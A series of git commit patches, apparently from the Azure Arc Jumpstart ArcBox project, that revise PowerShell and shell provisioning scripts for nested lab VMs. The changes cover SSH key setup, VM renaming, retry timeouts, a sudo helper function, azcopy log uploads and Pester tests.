$Env:USERPROFILE\.ssh\id_rsa + + Copy-Item -Path "$Env:USERPROFILE\.ssh\id_rsa.pub" -Destination "$Env:TEMP\authorized_keys" + + # Automatically accept unseen keys but will refuse connections for changed or invalid hostkeys. + Add-Content -Path "$Env:USERPROFILE\.ssh\config" -Value "StrictHostKeyChecking=accept-new" + + Get-VM *Ubuntu* | Copy-VMFile -SourcePath "$Env:TEMP\authorized_keys" -DestinationPath "/home/$nestedLinuxUsername/.ssh" -FileSource Host -Force -CreateFullPath + # Copy installation script to nested Linux VMs Write-Output "Transferring installation script to nested Linux VMs..." - Set-SCPItem -ComputerName $Ubuntu01VmIp -Credential $linCreds -Destination "/home/$nestedLinuxUsername" -Path "$agentScript\installArcAgentModifiedUbuntu.sh" -Force - Set-SCPItem -ComputerName $Ubuntu02VmIp -Credential $linCreds -Destination "/home/$nestedLinuxUsername" -Path "$agentScript\installArcAgentModifiedUbuntu.sh" -Force + + Get-VM *Ubuntu* | Copy-VMFile -SourcePath "$agentScript\installArcAgentModifiedUbuntu.sh" -DestinationPath "/home/$nestedLinuxUsername" -FileSource Host -Force Write-Header "Onboarding Arc-enabled servers" @@ -458,13 +469,8 @@ $payLoad = @" Invoke-Command -VMName $Win2k22vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -tenantId $Using:tenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds Write-Output "Onboarding the nested Linux VMs as an Azure Arc-enabled servers" - $ubuntuSession = New-SSHSession -ComputerName $Ubuntu01VmIp -Credential $linCreds -Force -WarningAction SilentlyContinue - $Command = "sudo sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" - $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 600 -WarningAction SilentlyContinue).Output - - $ubuntuSession = New-SSHSession -ComputerName $Ubuntu02VmIp -Credential $linCreds -Force -WarningAction SilentlyContinue - $Command = "sudo sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" - $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 600 -WarningAction SilentlyContinue).Output + $UbuntuSessions = New-PSSession -HostName $Ubuntu01VmIp,$Ubuntu02VmIp -KeyFilePath "$Env:USERPROFILE\.ssh\id_rsa" -UserName jumpstart + Invoke-JSSudoCommand -Session $UbuntuSessions -Command "sudo sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" Write-Header "Enabling SSH access and triggering update assessment for Arc-enabled servers" $VMs = @("$namingPrefix-SQL", "$namingPrefix-Ubuntu-01", "$namingPrefix-Ubuntu-02", "$namingPrefix-Win2K19", "$namingPrefix-Win2K22") From c071b2ed78e778922d3e5107c6b33056f43123c3 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 2 Aug 2024 19:53:54 +0000 Subject: [PATCH 395/506] Updated logic for waiting for the nested VMs to come back online after rename Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 90 ++++++++++++------- 1 file changed, 60 insertions(+), 30 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 5cf6de386a..3aff78af85 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -184,16 +184,18 @@ if ($Env:flavor -ne "DevOps") { Invoke-Command -VMName $SQLvmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds Start-Sleep -Seconds 20 - Write-Header "Renaming the nested SQL VM" - Invoke-Command -VMName $SQLvmName -ScriptBlock { Rename-Computer -NewName $using:SQLvmName -Restart} -Credential $winCreds + if ($namingPrefix -ne "ArcBox") { + + Write-Header "Renaming the nested SQL VM" + Invoke-Command -VMName $SQLvmName -ScriptBlock { Rename-Computer -NewName $using:SQLvmName -Restart} -Credential $winCreds + + Get-VM *SQL* | Wait-VM -For IPAddress + + Write-Host "Waiting for the nested Windows SQL VM to come back online...waiting for 10 seconds" - do { - $sqlVMStatus=(Get-VM $SQLvmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses - Write-Host "Waiting for the nested SQL VM to come back online...waiting for 10 seconds" Start-Sleep -Seconds 10 - }until($sqlVMStatus -ne "") - Start-Sleep -Seconds 10 + } # Download SQL assessment preparation script Invoke-WebRequest ($Env:templateBaseUrl + "artifacts/prepareSqlServerForAssessment.ps1") -OutFile $nestedVMArcBoxDir\prepareSqlServerForAssessment.ps1 @@ -415,24 +417,63 @@ $payLoad = @" Invoke-Command -VMName $Win2k22vmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds Start-Sleep -Seconds 10 - # Renaming the nested VMs - Write-Header "Renaming the nested Windows VMs" - Invoke-Command -VMName $Win2k19vmName -ScriptBlock { Rename-Computer -newName $using:Win2k19vmName -Restart } -Credential $winCreds - Invoke-Command -VMName $Win2k22vmName -ScriptBlock { Rename-Computer -newName $using:Win2k22vmName -Restart } -Credential $winCreds + if ($namingPrefix -ne "ArcBox") { + + # Renaming the nested VMs + Write-Header "Renaming the nested Windows VMs" + Invoke-Command -VMName $Win2k19vmName -ScriptBlock { Rename-Computer -newName $using:Win2k19vmName -Restart } -Credential $winCreds + Invoke-Command -VMName $Win2k22vmName -ScriptBlock { Rename-Computer -newName $using:Win2k22vmName -Restart } -Credential $winCreds + + Get-VM *Win* | Wait-VM -For IPAddress + + Write-Host "Waiting for the nested Windows VMs to come back online...waiting for 10 seconds" + + Start-Sleep -Seconds 10 + + } # Getting the Ubuntu nested VM IP address $Ubuntu01VmIp = Get-VM -Name $Ubuntu01vmName | Select-Object -ExpandProperty NetworkAdapters | Select-Object -ExpandProperty IPAddresses | Select-Object -Index 0 $Ubuntu02VmIp = Get-VM -Name $Ubuntu02vmName | Select-Object -ExpandProperty NetworkAdapters | Select-Object -ExpandProperty IPAddresses | Select-Object -Index 0 - # Renaming the nested linux VMs - Write-Output "Renaming the nested Linux VMs" - $ubuntuSession = New-SSHSession -ComputerName $Ubuntu01VmIp -Credential $linCreds -Force -WarningAction SilentlyContinue - $Command = "sudo hostnamectl set-hostname $ubuntu01vmName;sudo systemctl reboot" - $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 900 -WarningAction SilentlyContinue).Output + # Configuring SSH for accessing Linux VMs + Write-Output "Generating SSH key for accessing nested Linux VMs" + + ssh-keygen -t rsa -N '' -f $Env:USERPROFILE\.ssh\id_rsa + + Copy-Item -Path "$Env:USERPROFILE\.ssh\id_rsa.pub" -Destination "$Env:TEMP\authorized_keys" + + # Automatically accept unseen keys but will refuse connections for changed or invalid hostkeys. + Add-Content -Path "$Env:USERPROFILE\.ssh\config" -Value "StrictHostKeyChecking=accept-new" + + Get-VM *Ubuntu* | Copy-VMFile -SourcePath "$Env:TEMP\authorized_keys" -DestinationPath "/home/$nestedLinuxUsername/.ssh" -FileSource Host -Force -CreateFullPath + + if ($namingPrefix -ne "ArcBox") { - Get-VM | Wait-VM -For IPAddress + # Renaming the nested linux VMs + Write-Output "Renaming the nested Linux VMs" - Write-Host "Waiting for the nested VMs to come back online...waiting for 10 seconds" + Invoke-Command -HostName $Ubuntu01VmIp -KeyFilePath "$Env:USERPROFILE\.ssh\id_rsa" -UserName $nestedLinuxUsername -ScriptBlock { + + Invoke-Expression "sudo hostnamectl set-hostname $using:ubuntu01vmName;sudo systemctl reboot" + + } + + Restart-VM -Name $ubuntu01vmName + + Invoke-Command -HostName $Ubuntu02VmIp -KeyFilePath "$Env:USERPROFILE\.ssh\id_rsa" -UserName $nestedLinuxUsername -ScriptBlock { + + Invoke-Expression "sudo hostnamectl set-hostname $using:ubuntu02vmName;sudo systemctl reboot" + + } + + Restart-VM -Name $ubuntu02vmName + + } + + Get-VM *Ubuntu* | Wait-VM -For IPAddress + + Write-Host "Waiting for the nested Linux VMs to come back online...waiting for 10 seconds" Start-Sleep -Seconds 10 @@ -445,17 +486,6 @@ $payLoad = @" $accessToken = ConvertFrom-SecureString ((Get-AzAccessToken -AsSecureString).Token) -AsPlainText (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$accessToken', "'$accessToken'" -replace '\$resourceGroup', "'$resourceGroup'" -replace '\$tenantId', "'$Env:tenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" - Write-Output "Generating SSH key for accessing nested Linux VMs" - - ssh-keygen -t rsa -N '' -f $Env:USERPROFILE\.ssh\id_rsa - - Copy-Item -Path "$Env:USERPROFILE\.ssh\id_rsa.pub" -Destination "$Env:TEMP\authorized_keys" - - # Automatically accept unseen keys but will refuse connections for changed or invalid hostkeys. - Add-Content -Path "$Env:USERPROFILE\.ssh\config" -Value "StrictHostKeyChecking=accept-new" - - Get-VM *Ubuntu* | Copy-VMFile -SourcePath "$Env:TEMP\authorized_keys" -DestinationPath "/home/$nestedLinuxUsername/.ssh" -FileSource Host -Force -CreateFullPath - # Copy installation script to nested Linux VMs Write-Output "Transferring installation script to nested Linux VMs..." @@ -469,7 +499,7 @@ $payLoad = @" Invoke-Command -VMName $Win2k22vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -tenantId $Using:tenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds Write-Output "Onboarding the nested Linux VMs as an Azure Arc-enabled servers" - $UbuntuSessions = New-PSSession -HostName $Ubuntu01VmIp,$Ubuntu02VmIp -KeyFilePath "$Env:USERPROFILE\.ssh\id_rsa" -UserName jumpstart + $UbuntuSessions = New-PSSession -HostName $Ubuntu01VmIp,$Ubuntu02VmIp -KeyFilePath "$Env:USERPROFILE\.ssh\id_rsa" -UserName $nestedLinuxUsername Invoke-JSSudoCommand -Session $UbuntuSessions -Command "sudo sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" Write-Header "Enabling SSH access and triggering update assessment for Arc-enabled servers" From ca5d784ec18eac662c1bda0f7adb8a6d1f9422d3 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 2 Aug 2024 20:31:20 +0000 Subject: [PATCH 396/506] Increased timeout for SQL server extension installation Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 3aff78af85..10e38bb254 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -253,16 +253,15 @@ if ($Env:flavor -ne "DevOps") { else { # Arc SQL Server extension is not installed or still in progress. $retryCount = $retryCount + 1 - if ($retryCount -gt 5) { - Write-Host "WARNING: Timeout exceeded installing SQL server extension. Retry count: $retryCount." - Exit + if ($retryCount -gt 10) { + Write-Warning "Timeout exceeded installing SQL server extension. Retry count: $retryCount." } else { Write-Host "Waiting for SQL server extension installation ... Retry count: $retryCount" Start-Sleep(30) } } - } while($retryCount -le 5) + } while($retryCount -le 10) # Azure Monitor Agent extension is deployed automatically using Azure Policy. Wait until extension status is Succeded. az connectedmachine extension create --machine-name $SQLvmName --name AzureMonitorWindowsAgent --publisher Microsoft.Azure.Monitor --type AzureMonitorWindowsAgent --resource-group $resourceGroup --location $azureLocation --only-show-errors --no-wait From 3d077e72e4a9e6045043318b54dcfd1022f94a6b Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 2 Aug 2024 21:02:26 +0000 Subject: [PATCH 397/506] Remove Posh-SSH Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index ac0c4fa81e..c31f785510 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -136,7 +136,7 @@ Resize-Partition -DriveLetter C -Size $(Get-PartitionSupportedSize -DriveLetter Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force Install-Module -Name Microsoft.PowerShell.PSResourceGet -Force -$modules = @("Az", "Az.ConnectedMachine", "Az.ConnectedKubernetes", "Az.CustomLocation", "Azure.Arc.Jumpstart.Common", "Microsoft.PowerShell.SecretManagement", "Posh-SSH", "Pester") +$modules = @("Az", "Az.ConnectedMachine", "Az.ConnectedKubernetes", "Az.CustomLocation", "Azure.Arc.Jumpstart.Common", "Microsoft.PowerShell.SecretManagement", "Pester") foreach ($module in $modules) { Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository From ae1831ed07f5f4ac9d5da58ff8cad2db6657c6f6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 2 Aug 2024 21:02:37 +0000 Subject: [PATCH 398/506] Remove empty line Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh index 22de750af5..828db9378e 100644 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh +++ b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh @@ -14,4 +14,4 @@ bash ~/install_linux_azcmagent.sh # 2>/dev/null ArcServerResourceName=$(hostname |sed -e "s/\b\(.\)/\u\1/g") # Run connect command -azcmagent connect --access-token $accessToken --resource-group $resourceGroup --tenant-id $tenantId --location $Azurelocation --subscription-id $subscriptionId --resource-name "${ArcServerResourceName}" --cloud "AzureCloud" --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" +azcmagent connect --access-token $accessToken --resource-group $resourceGroup --tenant-id $tenantId --location $Azurelocation --subscription-id $subscriptionId --resource-name "${ArcServerResourceName}" --cloud "AzureCloud" --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" \ No newline at end of file From b934dd61f380d1bf13e751b853e662287359a986 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 2 Aug 2024 21:02:55 +0000 Subject: [PATCH 399/506] Bugfix - SSH configuration and syntax Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 10e38bb254..4c80666c99 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -438,6 +438,7 @@ $payLoad = @" # Configuring SSH for accessing Linux VMs Write-Output "Generating SSH key for accessing nested Linux VMs" + $null = New-Item -Path ~ -Name .ssh -ItemType Directory ssh-keygen -t rsa -N '' -f $Env:USERPROFILE\.ssh\id_rsa Copy-Item -Path "$Env:USERPROFILE\.ssh\id_rsa.pub" -Destination "$Env:TEMP\authorized_keys" @@ -445,7 +446,7 @@ $payLoad = @" # Automatically accept unseen keys but will refuse connections for changed or invalid hostkeys. Add-Content -Path "$Env:USERPROFILE\.ssh\config" -Value "StrictHostKeyChecking=accept-new" - Get-VM *Ubuntu* | Copy-VMFile -SourcePath "$Env:TEMP\authorized_keys" -DestinationPath "/home/$nestedLinuxUsername/.ssh" -FileSource Host -Force -CreateFullPath + Get-VM *Ubuntu* | Copy-VMFile -SourcePath "$Env:TEMP\authorized_keys" -DestinationPath "/home/$nestedLinuxUsername/.ssh/" -FileSource Host -Force -CreateFullPath if ($namingPrefix -ne "ArcBox") { @@ -499,7 +500,7 @@ $payLoad = @" Write-Output "Onboarding the nested Linux VMs as an Azure Arc-enabled servers" $UbuntuSessions = New-PSSession -HostName $Ubuntu01VmIp,$Ubuntu02VmIp -KeyFilePath "$Env:USERPROFILE\.ssh\id_rsa" -UserName $nestedLinuxUsername - Invoke-JSSudoCommand -Session $UbuntuSessions -Command "sudo sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" + Invoke-JSSudoCommand -Session $UbuntuSessions -Command "sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" Write-Header "Enabling SSH access and triggering update assessment for Arc-enabled servers" $VMs = @("$namingPrefix-SQL", "$namingPrefix-Ubuntu-01", "$namingPrefix-Ubuntu-02", "$namingPrefix-Win2K19", "$namingPrefix-Win2K22") From 021f03f175568b74dfd6589f2648198a94398167 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 2 Aug 2024 21:48:27 +0000 Subject: [PATCH 400/506] Bugfix - carriage return needed Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh index 828db9378e..22de750af5 100644 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh +++ b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh @@ -14,4 +14,4 @@ bash ~/install_linux_azcmagent.sh # 2>/dev/null ArcServerResourceName=$(hostname |sed -e "s/\b\(.\)/\u\1/g") # Run connect command -azcmagent connect --access-token $accessToken --resource-group $resourceGroup --tenant-id $tenantId --location $Azurelocation --subscription-id $subscriptionId --resource-name "${ArcServerResourceName}" --cloud "AzureCloud" --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" \ No newline at end of file +azcmagent connect --access-token $accessToken --resource-group $resourceGroup --tenant-id $tenantId --location $Azurelocation --subscription-id $subscriptionId --resource-name "${ArcServerResourceName}" --cloud "AzureCloud" --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" From 1e95f828474e149c4658c2ac53cbbb4670cfe682 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 2 Aug 2024 21:48:44 +0000 Subject: [PATCH 401/506] Add Invoke-JSSudoCommand function to Azure.Arc.Jumpstart.Common module Signed-off-by: Jan Egil Ring --- .../Azure.Arc.Jumpstart.Common.psd1 | 4 ++-- .../Public/ Invoke-JSSudoCommand.ps1 | 24 +++++++++++++++++++ 2 files changed, 26 insertions(+), 2 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/ Invoke-JSSudoCommand.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 index cd7c2016de..745d3dc772 100644 --- a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 @@ -12,7 +12,7 @@ RootModule = 'Azure.Arc.Jumpstart.Common.psm1' # Version number of this module. -ModuleVersion = '0.0.6' +ModuleVersion = '0.1.0' # Supported PSEditions # CompatiblePSEditions = @() @@ -69,7 +69,7 @@ Description = 'Common functions for Azure Arc Jumpstart' # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. -FunctionsToExport = 'Set-JSDesktopBackground','Convert-JSImageToBitMap','Show-K8sPodStatus','Deploy-Workbook' +FunctionsToExport = 'Set-JSDesktopBackground','Convert-JSImageToBitMap','Show-K8sPodStatus','Deploy-Workbook','Invoke-JSSudoCommand' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = '' diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/ Invoke-JSSudoCommand.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/ Invoke-JSSudoCommand.ps1 new file mode 100644 index 0000000000..4e34ea7b25 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/ Invoke-JSSudoCommand.ps1 @@ -0,0 +1,24 @@ +function Invoke-JSSudoCommand { + <# + .SYNOPSIS + Invokes sudo command in a remote session to Linux + #> + param ( + [Parameter(Mandatory=$true)] + $Session, + + [Parameter(Mandatory=$true)] + [String] + $Command + ) + Invoke-Command -Session $Session { + $errFile = "/tmp/$($(New-Guid).Guid).err" + Invoke-Expression "sudo ${using:Command} 2>${errFile}" + $err = Get-Content $errFile -ErrorAction SilentlyContinue + Remove-Item $errFile -ErrorAction SilentlyContinue + If (-Not $null -eq $err) + { + $err | Out-String | Write-Warning + } + } + } \ No newline at end of file From a95cd93523b6c77e369f055b28960e7665d3c387 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Sat, 3 Aug 2024 01:40:24 -0400 Subject: [PATCH 402/506] add pester for devops --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 4 ++++ azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 | 8 -------- 2 files changed, 4 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index be92a3ed0a..38537438e6 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -514,6 +514,10 @@ if ($null -ne (Get-ScheduledTask -TaskName "DevOpsLogonScript" -ErrorAction Sile Start-Sleep -Seconds 5 +Write-Header "Running tests to verify infrastructure" + +& "$Env:ArcBoxTestsDir\Invoke-Test.ps1" + Write-Header "Creating deployment logs bundle" $RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) diff --git a/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 index ae764c98a3..c703fac549 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 @@ -29,14 +29,6 @@ Describe "" -ForEach $VMs { BeforeAll { $vm = $_ } - It "VM exists" { - $vmobject = Get-VM -Name $vm - $vmobject | Should -Not -BeNullOrEmpty - } - It "VM is running" { - $vmobject = Get-VM -Name $vm - $vmobject.State | Should -Be "Running" - } It "Azure Arc Connected Machine exists" { $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId $connectedMachine | Should -Not -BeNullOrEmpty From ab7c17bac0e905427f741f79c7acd38ec9fa5b44 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Sat, 3 Aug 2024 12:34:53 -0400 Subject: [PATCH 403/506] fix pester test dir --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 38537438e6..531473d363 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -4,6 +4,7 @@ $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxKVDir = "C:\ArcBox\KeyVault" $Env:ArcBoxIconDir = "C:\ArcBox\Icons" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" $namingPrefix = ($Env:namingPrefix).toLower() $osmReleaseVersion = "1.1.1-1" From a4a8d9316e62cd73cdcd77b10b1a17438c38794d Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sat, 3 Aug 2024 21:10:33 +0300 Subject: [PATCH 404/506] testing with restart --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index c31f785510..7c509600ab 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -353,6 +353,9 @@ if ($flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force + + # Restart computer + Restart-Computer } if ($flavor -eq "DevOps") { @@ -363,6 +366,9 @@ if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force + + # Restart computer + Restart-Computer } if ($flavor -eq "DataOps") { From d891f54961d9f965aa7fcb5573c87b63e757ecf5 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sat, 3 Aug 2024 21:48:05 +0300 Subject: [PATCH 405/506] add auth refresh --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index fe3420a55c..961eace2b7 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -197,5 +197,8 @@ fi echo "" echo "Uploading the script logs to staging storage" echo "" +# Authorize azcopy by using a system-wide managed identity +export AZCOPY_AUTO_LOGIN_TYPE=MSI log="/home/$adminUsername/jumpstart_logs/installK3s.log" -azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/installK3s-$vmName.log" \ No newline at end of file +vmNameLower=$(echo $vmName | tr '[:upper:]' '[:lower:]') +azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/installK3s-$vmNameLower.log" \ No newline at end of file From 43cff908d73a5b600d718b3be1618e287e453f17 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Sat, 3 Aug 2024 15:08:12 -0400 Subject: [PATCH 406/506] remove vm test --- .../artifacts/tests/devops.tests.ps1 | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 index c703fac549..01666fb69f 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 @@ -23,18 +23,4 @@ Describe "" -ForEach $clusters { $connectedCluster = Get-AzConnectedKubernetes -Name $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId $connectedCluster.ConnectivityStatus | Should -Be "Connected" } -} - -Describe "" -ForEach $VMs { - BeforeAll { - $vm = $_ - } - It "Azure Arc Connected Machine exists" { - $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId - $connectedMachine | Should -Not -BeNullOrEmpty - } - It "Azure Arc Connected Machine is connected" { - $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId - $connectedMachine.Status | Should -Be "Connected" - } } \ No newline at end of file From 9eb6735483fdaff3f53217cd4911d962c80cde88 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sat, 3 Aug 2024 22:23:34 +0300 Subject: [PATCH 407/506] chore: Update log file name in installK3s.sh script --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 961eace2b7..13a23f3bd6 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -198,7 +198,6 @@ echo "" echo "Uploading the script logs to staging storage" echo "" # Authorize azcopy by using a system-wide managed identity -export AZCOPY_AUTO_LOGIN_TYPE=MSI +sleep 60 